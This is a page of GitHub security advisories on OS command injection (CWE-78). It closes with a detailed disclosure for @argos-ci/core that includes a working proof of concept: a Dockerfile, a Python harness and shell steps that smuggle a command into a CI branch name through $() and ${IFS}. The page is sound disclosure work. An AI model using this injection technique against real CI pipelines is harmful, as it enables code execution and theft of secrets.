CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
9670 vulnerabilities reference this CWE, most recent first.
GHSA-4W99-2GW3-W2P9
Vulnerability from github – Published: 2025-12-11 18:30 – Updated: 2025-12-12 18:30OS Command Injection vulnerability in Ruijie RG-EW1200 EW_3.0(1)B11P227_EW1200_11130208RG-EW1200 V1.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_config/config_retain.lua.
{
"affected": [],
"aliases": [
"CVE-2025-56085"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-11T18:16:20Z",
"severity": "HIGH"
},
"details": "OS Command Injection vulnerability in Ruijie RG-EW1200 EW_3.0(1)B11P227_EW1200_11130208RG-EW1200 V1.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_config/config_retain.lua.",
"id": "GHSA-4w99-2gw3-w2p9",
"modified": "2025-12-12T18:30:33Z",
"published": "2025-12-11T18:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-56085"
},
{
"type": "WEB",
"url": "https://1drv.ms/f/c/12406a392c92914b/EuESCSUsYvtAtfW1SfmGGxsBw-kN9iCbpnUU9T8TXofH3w?e=kp5OXK"
},
{
"type": "WEB",
"url": "https://1drv.ms/t/c/12406a392c92914b/ERuoK3MLW2RLpQ6qOoGs5wIB73tNnsDzRT8U6U6z4VmskQ?e=KIjaOa"
},
{
"type": "WEB",
"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56085.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4WFW-792V-J23V
Vulnerability from github – Published: 2022-05-14 01:33 – Updated: 2022-05-14 01:33The Sky Elite 6.0L+ Android device with a build fingerprint of SKY/x6069_trx_l601_sky/x6069_trx_l601_sky:6.0/MRA58K/1482897127:user/release-keys contains a pre-installed platform app with a package name of com.fw.upgrade.sysoper (versionCode=238, versionName=2.3.8) that contains an exported broadcast receiver app component named com.adups.fota.sysoper.WriteCommandReceiver that allows any app co-located on the device to supply arbitrary commands to be executed as the system user. The com.fw.upgrade.sysoper app cannot be disabled by the user and the attack can be performed by a zero-permission app. Executing commands as system user can allow a third-party app to video record the user's screen, factory reset the device, obtain the user's notifications, read the logcat logs, inject events in the Graphical User Interface (GUI), change the default Input Method Editor (IME) (e.g., keyboard) with one contained within the attacking app that contains keylogging functionality, obtain the user's text messages, and more.
{
"affected": [],
"aliases": [
"CVE-2018-15007"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-28T21:29:00Z",
"severity": "HIGH"
},
"details": "The Sky Elite 6.0L+ Android device with a build fingerprint of SKY/x6069_trx_l601_sky/x6069_trx_l601_sky:6.0/MRA58K/1482897127:user/release-keys contains a pre-installed platform app with a package name of com.fw.upgrade.sysoper (versionCode=238, versionName=2.3.8) that contains an exported broadcast receiver app component named com.adups.fota.sysoper.WriteCommandReceiver that allows any app co-located on the device to supply arbitrary commands to be executed as the system user. The com.fw.upgrade.sysoper app cannot be disabled by the user and the attack can be performed by a zero-permission app. Executing commands as system user can allow a third-party app to video record the user\u0027s screen, factory reset the device, obtain the user\u0027s notifications, read the logcat logs, inject events in the Graphical User Interface (GUI), change the default Input Method Editor (IME) (e.g., keyboard) with one contained within the attacking app that contains keylogging functionality, obtain the user\u0027s text messages, and more.",
"id": "GHSA-4wfw-792v-j23v",
"modified": "2022-05-14T01:33:59Z",
"published": "2022-05-14T01:33:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15007"
},
{
"type": "WEB",
"url": "https://www.kryptowire.com/portal/android-firmware-defcon-2018"
},
{
"type": "WEB",
"url": "https://www.kryptowire.com/portal/wp-content/uploads/2018/12/DEFCON-26-Johnson-and-Stavrou-Vulnerable-Out-of-the-Box-An-Eval-of-Android-Carrier-Devices-WP-Updated.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4WGF-38RH-FVJ7
Vulnerability from github – Published: 2026-06-08 21:31 – Updated: 2026-06-08 21:31Improper neutralization of special elements in the built-in PAM provider password rotation templates in Devolutions Server allows an authenticated user with write access to a vault to execute arbitrary commands on the systems managed by the affected PAM provider.
This issue affects :
- Devolutions Server 2026.2.4.0
- Devolutions Server 2026.1.20.0 and earlier
{
"affected": [],
"aliases": [
"CVE-2026-10544"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-08T19:16:34Z",
"severity": "MODERATE"
},
"details": "Improper neutralization of special elements in the built-in PAM provider password rotation templates in Devolutions Server allows an authenticated user with write access to a vault to execute arbitrary commands on the systems managed by the affected PAM provider.\n\nThis issue affects :\n\n * Devolutions Server 2026.2.4.0\n * Devolutions Server 2026.1.20.0 and earlier",
"id": "GHSA-4wgf-38rh-fvj7",
"modified": "2026-06-08T21:31:50Z",
"published": "2026-06-08T21:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10544"
},
{
"type": "WEB",
"url": "https://devolutions.net/security/advisories/DEVO-2026-0015"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4WPJ-J932-MMGX
Vulnerability from github – Published: 2024-08-05 06:30 – Updated: 2024-08-05 06:30A vulnerability was found in Raisecom MSG1200, MSG2100E, MSG2200 and MSG2300 3.90. It has been rated as critical. This issue affects the function sslvpn_config_mod of the file /vpn/vpn_template_style.php of the component Web Interface. The manipulation of the argument template/stylenum leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-273563. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-7470"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-05T04:15:59Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Raisecom MSG1200, MSG2100E, MSG2200 and MSG2300 3.90. It has been rated as critical. This issue affects the function sslvpn_config_mod of the file /vpn/vpn_template_style.php of the component Web Interface. The manipulation of the argument template/stylenum leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-273563. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-4wpj-j932-mmgx",
"modified": "2024-08-05T06:30:36Z",
"published": "2024-08-05T06:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7470"
},
{
"type": "WEB",
"url": "https://github.com/h0e4a0r1t/h0e4a0r1t.github.io/blob/master/2024/sQrromK7x42JbLgY/Command%20Injection%20Vulnerability%20in%20RAISECOM%20Gateway%20Devices-vpn_template_style.php.pdf"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.273563"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.273563"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.385350"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4WQV-9447-79RG
Vulnerability from github – Published: 2025-05-20 21:30 – Updated: 2025-05-21 15:30A command injection vulnerability in the component /cgi-bin/firewall.cgi of Wavlink WL-WN579A3 v1.0 allows attackers to execute arbitrary commands via a crafted input.
{
"affected": [],
"aliases": [
"CVE-2025-44882"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-20T21:15:23Z",
"severity": "CRITICAL"
},
"details": "A command injection vulnerability in the component /cgi-bin/firewall.cgi of Wavlink WL-WN579A3 v1.0 allows attackers to execute arbitrary commands via a crafted input.",
"id": "GHSA-4wqv-9447-79rg",
"modified": "2025-05-21T15:30:32Z",
"published": "2025-05-20T21:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-44882"
},
{
"type": "WEB",
"url": "https://lafdrew.github.io/2025/03/31/Remote-Command-Execution-in-firewall-cgi-of-wavlink-WL-WN579A3-Device"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4WWF-F7W3-94F5
Vulnerability from github – Published: 2026-02-02 06:30 – Updated: 2026-02-02 20:53RaspAP raspap-webgui versions prior to 3.3.6 contain an OS Command Injection vulnerability. If exploited, an arbitrary OS command may be executed by a user who can log in to the product.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "billz/raspap-webgui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24788"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-02T20:53:03Z",
"nvd_published_at": "2026-02-02T05:16:03Z",
"severity": "HIGH"
},
"details": "RaspAP raspap-webgui versions prior to 3.3.6 contain an OS Command Injection vulnerability. If exploited, an arbitrary OS command may be executed by a user who can log in to the product.",
"id": "GHSA-4wwf-f7w3-94f5",
"modified": "2026-02-02T20:53:03Z",
"published": "2026-02-02T06:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24788"
},
{
"type": "WEB",
"url": "https://github.com/RaspAP/raspap-webgui/commit/f514f5a12ef0c34853b5370ef55d630b499f977d"
},
{
"type": "PACKAGE",
"url": "https://github.com/RaspAP/raspap-webgui"
},
{
"type": "WEB",
"url": "https://github.com/RaspAP/raspap-webgui/releases/tag/3.3.6"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN27202136"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "RaspAP raspap-webgui contains an OS Command Injection vulnerability"
}
GHSA-4X3M-WQV7-C7H3
Vulnerability from github – Published: 2026-01-13 03:32 – Updated: 2026-01-13 03:32Due to an OS Command Injection vulnerability in SAP Application Server for ABAP and SAP NetWeaver RFCSDK, an authenticated attacker with administrative access and adjacent network access could upload specially crafted content to the server. If processed by the application, this content enables execution of arbitrary operating system commands. Successful exploitation could lead to full compromise of the system�s confidentiality, integrity, and availability.
{
"affected": [],
"aliases": [
"CVE-2026-0507"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T02:15:53Z",
"severity": "HIGH"
},
"details": "Due to an OS Command Injection vulnerability in SAP Application Server for ABAP and SAP NetWeaver RFCSDK, an authenticated attacker with administrative access and adjacent network access could upload specially crafted content to the server. If processed by the application, this content enables execution of arbitrary operating system commands. Successful exploitation could lead to full compromise of the system\ufffds confidentiality, integrity, and availability.",
"id": "GHSA-4x3m-wqv7-c7h3",
"modified": "2026-01-13T03:32:09Z",
"published": "2026-01-13T03:32:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0507"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3675151"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4X3Q-79HW-PGFR
Vulnerability from github – Published: 2025-08-06 03:30 – Updated: 2025-08-06 03:30Kenwood DMX958XR Firmware Update Command Injection Vulnerability. This vulnerability allows physically present attackers to execute arbitrary code on affected installations of Kenwood DMX958XR devices. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the firmware update process. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-26270.
{
"affected": [],
"aliases": [
"CVE-2025-8647"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-06T02:15:53Z",
"severity": "MODERATE"
},
"details": "Kenwood DMX958XR Firmware Update Command Injection Vulnerability. This vulnerability allows physically present attackers to execute arbitrary code on affected installations of Kenwood DMX958XR devices. Authentication is not required to exploit this vulnerability. \n\nThe specific flaw exists within the firmware update process. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-26270.",
"id": "GHSA-4x3q-79hw-pgfr",
"modified": "2025-08-06T03:30:27Z",
"published": "2025-08-06T03:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8647"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-795"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4X45-GXVP-6283
Vulnerability from github – Published: 2026-09-10 22:34 – Updated: 2026-09-10 22:34CI Branch Name OS Command Injection in @argos-ci/core
Summary
@argos-ci/core@6.2.0 passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).
Details
The vulnerable sink is in packages/core/src/ci-environment/git.ts:87-90:
function gitFetch(input: { ref: string; depth: number; target: string }) {
execSync(
`git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
);
}
execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.
A secondary sink exists at packages/core/src/ci-environment/git.ts:67:
execSync(`git merge-base ${input.head} ${input.base}`)
Complete data flow (source → sink):
packages/core/src/ci-environment/services/github-actions.ts:104— readsenv.GITHUB_HEAD_REFwithout validation (source).packages/core/src/ci-environment/services/github-actions.ts:165— returns the branch from the CI context.packages/core/src/ci-environment/services/github-actions.ts:330— stores the value asbranch.packages/core/src/config.ts:119-123— loadsciEnv?.branchintoconfig.branch; onlyformat: Stringis applied, no sanitization.packages/core/src/upload.ts:285— callsgetMergeBaseCommitSha({ base, head: config.branch })when the API returnshasRemoteContentAccess: false.packages/core/src/ci-environment/git.ts:123— passes attacker-controlled value asreftogitFetch().packages/core/src/ci-environment/git.ts:89— sink:execSync(git fetch ... origin ${input.ref}:${input.target}).
There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.
Recommended remediation — replace template-literal execSync calls with execFileSync using argument arrays, which bypass the shell entirely:
-import { execSync } from "node:child_process";
+import { execFileSync, execSync } from "node:child_process";
function gitFetch(input: { ref: string; depth: number; target: string }) {
- execSync(
- `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
- );
+ execFileSync("git", [
+ "fetch", "--force", "--update-head-ok",
+ "--depth", String(input.depth),
+ "origin", `${input.ref}:${input.target}`,
+ ]);
}
function gitMergeBase(input: { base: string; head: string }) {
- return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();
+ return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim();
}
PoC
Prerequisites:
- Docker installed on the test machine.
- Internet access to pull node:22 and install @argos-ci/cli@5.0.5 from npm.
Step 1 — Build the Docker image:
docker build -t argos-vuln-001 \
-f /path/to/vuln-001/Dockerfile \
/path/to/reports/npmAI_634_argos-ci__argos-javascript/
The Dockerfile:
- Uses node:22 as the base.
- Creates a local bare git repository at /remote.git and a working repository at /git-workspace with that bare repo as origin, so git fetch has a reachable remote.
- Installs @argos-ci/cli@5.1.0 (which depends on @argos-ci/core@6.2.0) globally from the public npm registry.
- Copies poc.py as the container entrypoint.
Step 2 — Run the container:
docker run --rm argos-vuln-001
What the PoC (poc.py) does:
- Starts a local HTTP mock server on
127.0.0.1:7777that returns{"hasRemoteContentAccess": false}forGET /v2/project, activating thegetMergeBaseCommitSha()code path. - Sets
ARGOS_BRANCHtomain$(touch${IFS}/tmp/argos-ci-cve-poc). $(...)is shell command substitution.${IFS}expands to a space character, bypassing naive space-based filters, making the injected commandtouch /tmp/argos-ci-cve-poc.- Runs
argos upload <empty-dir> --files '*.png'with the malicious environment. - Checks for the marker file
/tmp/argos-ci-cve-poc.
Expected output:
============================================================
[PASS] VULNERABILITY CONFIRMED
[PASS] Marker file exists: /tmp/argos-ci-cve-poc
[PASS] The shell command injected via ARGOS_BRANCH was executed
[PASS] by execSync() inside gitFetch() (git.ts:88-90).
============================================================
The marker file is created before git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.
Manual reproduction (without Docker):
mkdir -p /tmp/argos-poc && cd /tmp/argos-poc
git init && git remote add origin https://github.com/argos-ci/argos-javascript.git
# Start a minimal mock API server (background)
node -e "
const http = require('http');
http.createServer((req, res) => {
if (req.url === '/v2/project') {
res.writeHead(200, {'content-type':'application/json'});
res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));
return;
}
res.writeHead(200, {'content-type':'application/json'});
res.end('{}');
}).listen(7777);
" &
mkdir empty
rm -f /tmp/argos-ci-cve-poc
ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \
ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \
ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \
npx -y @argos-ci/cli@5.0.5 upload empty --files '*.png' || true
test -f /tmp/argos-ci-cve-poc && echo "COMMAND_EXECUTED"
Impact
This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the GITHUB_HEAD_REF / ARGOS_BRANCH environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.
Who is impacted:
- Any organization using
@argos-ci/core(or the CLI@argos-ci/cli) in a CI pipeline where the project's Argos configuration hashasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users. - The risk is highest in
pull_request_targetor other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks. - Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.
Reproduction artifacts
Dockerfile
FROM node:22
# Install git and Python 3
RUN apt-get update && \
apt-get install -y --no-install-recommends git python3 && \
rm -rf /var/lib/apt/lists/*
# Configure git identity for commits inside the container
RUN git config --global user.email "poc@test.local" && \
git config --global user.name "PoC Test" && \
git config --global init.defaultBranch main
# Create a local bare repository that acts as the "origin" remote.
# This lets git fetch succeed (reaching a real remote is not required for the
# injection -- the shell expands $() before git connects -- but a working
# remote means getMergeBaseCommitSha() returns a real SHA and the full
# upload code-path is exercised without extra noise from git errors.)
RUN git init --bare /remote.git
# Create the working repository with the bare repo as origin
RUN git init /git-workspace && \
cd /git-workspace && \
git remote add origin /remote.git && \
echo "initial" > README.md && \
git add README.md && \
git commit -m "Initial commit" && \
git branch -M main && \
git push -u origin main
# Copy the cloned repository source for reference / source evidence.
# The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90.
COPY repo /argos-repo
# Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0)
# from the public npm registry -- same version as the cloned repository.
RUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn
# Copy the Python PoC script
COPY vuln-001/poc.py /poc.py
# Run from inside the git workspace so that git commands find the correct repo
WORKDIR /git-workspace
ENTRYPOINT ["python3", "/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0
Vulnerability: CWE-78 (OS Command Injection)
Affected file: packages/core/src/ci-environment/git.ts:87-90
The gitFetch() function passes user-controlled ref strings directly into an
execSync() template literal. Node.js execSync() invokes /bin/sh -c "...", so
shell metacharacters in the string -- including $() command substitution --
are evaluated before git runs.
Attack chain (source -> sink):
env.GITHUB_HEAD_REF / ARGOS_BRANCH
-> config.ts:119-122 (String cast, no sanitisation)
-> upload.ts:285 getMergeBaseCommitSha({ head: config.branch })
-> git.ts:123 gitFetch({ ref: input.head, ... })
-> git.ts:89 execSync(`git fetch ... origin ${input.ref}:${input.target}`)
^^^^^^^^ shell injection sink
This script:
1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false
for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.
2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value
containing a $() command substitution.
3. Checks for a filesystem artefact that proves execution.
"""
import json
import os
import subprocess
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
# File created by the injected command -- its existence proves execution.
MARKER_FILE = "/tmp/argos-ci-cve-poc"
# Port for the mock Argos API server.
MOCK_PORT = 7777
class MockArgosAPI(BaseHTTPRequestHandler):
"""Minimal mock of the Argos REST API.
Only two responses matter:
- GET /v2/project -- must return hasRemoteContentAccess=false to trigger
the git-based merge-base discovery code-path.
- POST /v2/builds -- needs to return a recognisable structure so the SDK
does not abort before we can observe the side-effect.
"""
def log_message(self, fmt, *args):
# Suppress per-request log noise; PoC progress messages are enough.
pass
def _send_json(self, status: int, body: dict) -> None:
raw = json.dumps(body).encode()
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(raw)))
self.end_headers()
self.wfile.write(raw)
def do_GET(self):
if self.path.rstrip("/") == "/v2/project":
# hasRemoteContentAccess=false is the precondition that makes the
# SDK call getMergeBaseCommitSha() instead of fetching from the
# Git provider API. This is the key to reaching the sink.
self._send_json(200, {
"id": "proj-1",
"defaultBaseBranch": "main",
"hasRemoteContentAccess": False,
})
else:
self._send_json(200, {})
def do_POST(self):
# Drain request body to keep the connection clean.
length = int(self.headers.get("Content-Length", 0))
self.rfile.read(length)
if "/builds" in self.path:
# Return the minimal structure the SDK dereferences after POST /builds.
self._send_json(201, {
"id": "build-1",
"url": "http://localhost/build/1",
"screenshots": [],
"pwTraces": [],
})
else:
self._send_json(200, {})
def do_PUT(self):
length = int(self.headers.get("Content-Length", 0))
self.rfile.read(length)
self._send_json(200, {})
def start_mock_server() -> HTTPServer:
server = HTTPServer(("127.0.0.1", MOCK_PORT), MockArgosAPI)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
def main():
print("[*] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection")
print("[*] Source sink: packages/core/src/ci-environment/git.ts:87-90")
print()
# Remove any stale marker from a previous run.
if os.path.exists(MARKER_FILE):
os.remove(MARKER_FILE)
# Start the mock Argos API.
server = start_mock_server()
print(f"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}")
# Build the malicious branch name.
# Breakdown:
# main -- valid branch prefix so git ref looks plausible
# $(...) -- shell command substitution, evaluated by /bin/sh
# touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space
# filters and forming "touch <path>"
malicious_branch = f"main$(touch${{IFS}}{MARKER_FILE})"
print(f"[*] Malicious ARGOS_BRANCH value: {malicious_branch}")
print(f"[*] Expected shell expansion: touch {MARKER_FILE}")
print()
# Empty upload directory -- no real screenshots needed. The injection
# occurs during merge-base discovery before any upload loop runs.
upload_dir = "/tmp/argos-empty-upload"
os.makedirs(upload_dir, exist_ok=True)
env = dict(os.environ)
env.update({
"ARGOS_API_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/v2/",
"ARGOS_TOKEN": "a" * 40,
"ARGOS_COMMIT": "0" * 40,
"ARGOS_BRANCH": malicious_branch,
# Disable update-notifier noise inside the CLI.
"NO_UPDATE_NOTIFIER": "1",
})
print("[*] Running: argos upload <empty-dir> --files '*.png'")
result = subprocess.run(
["argos", "upload", upload_dir, "--files", "*.png"],
env=env,
capture_output=True,
text=True,
# CWD must be a git repository with an 'origin' remote so that
# git fetch has a valid context. /git-workspace is prepared in the
# Dockerfile for this purpose.
cwd="/git-workspace",
)
print(f"[*] CLI exit code : {result.returncode}")
if result.stdout.strip():
print(f"[*] CLI stdout : {result.stdout.strip()[:600]}")
if result.stderr.strip():
print(f"[*] CLI stderr : {result.stderr.strip()[:600]}")
server.shutdown()
print()
# --- Verdict ---
if os.path.exists(MARKER_FILE):
print("=" * 60)
print("[PASS] VULNERABILITY CONFIRMED")
print(f"[PASS] Marker file exists: {MARKER_FILE}")
print("[PASS] The shell command injected via ARGOS_BRANCH was executed")
print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).")
print("=" * 60)
sys.exit(0)
else:
print("=" * 60)
print("[FAIL] Marker file not found -- injection did not trigger.")
print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.")
print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.")
print("=" * 60)
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.2.0"
},
"package": {
"ecosystem": "npm",
"name": "@argos-ci/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59960"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T22:34:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## CI Branch Name OS Command Injection in @argos-ci/core\n\n### Summary\n\n`@argos-ci/core@6.2.0` passes attacker-controlled CI branch/ref strings directly into an `execSync()` template literal in `packages/core/src/ci-environment/git.ts:89`. When a CI project has `hasRemoteContentAccess: false`, the Argos upload flow calls `getMergeBaseCommitSha()`, which invokes `gitFetch()` with the unsanitized branch name. Because `execSync()` passes the command string to `/bin/sh -c`, shell metacharacters such as `$()` command substitution are evaluated before `git` runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).\n\n### Details\n\nThe vulnerable sink is in `packages/core/src/ci-environment/git.ts:87-90`:\n\n```ts\nfunction gitFetch(input: { ref: string; depth: number; target: string }) {\n execSync(\n `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,\n );\n}\n```\n\n`execSync()` with a template-literal string invokes `/bin/sh -c \"\u003ccommand\u003e\"`. The shell expands `$()`, backticks, `;`, and other metacharacters before spawning `git`, so any special characters present in `input.ref` or `input.target` are interpreted as shell instructions.\n\nA secondary sink exists at `packages/core/src/ci-environment/git.ts:67`:\n\n```ts\nexecSync(`git merge-base ${input.head} ${input.base}`)\n```\n\n**Complete data flow (source \u2192 sink):**\n\n1. `packages/core/src/ci-environment/services/github-actions.ts:104` \u2014 reads `env.GITHUB_HEAD_REF` without validation (source).\n2. `packages/core/src/ci-environment/services/github-actions.ts:165` \u2014 returns the branch from the CI context.\n3. `packages/core/src/ci-environment/services/github-actions.ts:330` \u2014 stores the value as `branch`.\n4. `packages/core/src/config.ts:119-123` \u2014 loads `ciEnv?.branch` into `config.branch`; only `format: String` is applied, no sanitization.\n5. `packages/core/src/upload.ts:285` \u2014 calls `getMergeBaseCommitSha({ base, head: config.branch })` when the API returns `hasRemoteContentAccess: false`.\n6. `packages/core/src/ci-environment/git.ts:123` \u2014 passes attacker-controlled value as `ref` to `gitFetch()`.\n7. `packages/core/src/ci-environment/git.ts:89` \u2014 **sink**: `execSync(` git fetch ... origin ${input.ref}:${input.target} `)`.\n\nThere is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.\n\n**Recommended remediation** 